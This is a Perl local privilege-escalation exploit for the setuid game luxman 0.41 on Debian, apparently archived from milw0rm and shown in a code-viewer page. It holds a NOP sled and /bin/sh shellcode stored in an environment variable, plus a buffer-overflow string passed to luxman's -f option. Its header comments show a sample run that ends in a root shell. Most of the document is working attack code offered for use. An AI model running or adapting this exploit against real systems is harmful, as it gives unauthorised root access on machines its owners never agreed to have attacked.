49 lines
No EOL
1.5 KiB
Perl
Executable file
49 lines
No EOL
1.5 KiB
Perl
Executable file
#!/usr/bin/perl -w
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#
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# luxman exploit
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#
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# ii luxman 0.41-19.1 Pac-Man clone (svgalib based)
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#
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# Tested with "security compat" set in /etc/vga/libvga.config on debian unstable 3.1
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#
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# kfinisterre@jdam:~$ ./luxman_ex.pl
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# LuxMan v0.41, Copyright (c) 1995 Frank McIngvale
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# LuxMan comes with ABSOLUTELY NO WARRANTY; see COPYING for details.
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#
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# You must be the owner of the current console to use svgalib.
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# Not running in a graphics capable console,
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# and unable to find one.
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# Using SIS driver, 2048KB. Chiptype=8
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# svgalib 1.4.3
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# You must be the owner of the current console to use svgalib.
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# Not running in a graphics capable console,
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# and unable to find one.
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# svgalib: Failed to initialize mouse.
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#
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# The frame rate is now set to 1 frames per second.
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# If the game seems too fast, too slow, or too jerky,
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# you can adjust this value the `-r' option.
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#
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# Calibrating delay...-664257
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# Sound server started [pid:7082]
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# sh-2.05b# id
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# uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)
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#
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($offset) = @ARGV,$offset || ($offset = 0);
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$sc = "\x90"x512;
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$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
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$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
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$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
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$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";
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$ENV{"FOO"} = $sc;
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$buf = "A" x 8732;
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$buf .= (pack("l",(0xbfffffff-512+$offset)) x2);
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#exec("strace -u kfinisterre /usr/games/luxman -r 1 -f $buf");
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exec("/usr/games/luxman -r 1 -f $buf");
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# milw0rm.com [2005-03-14] |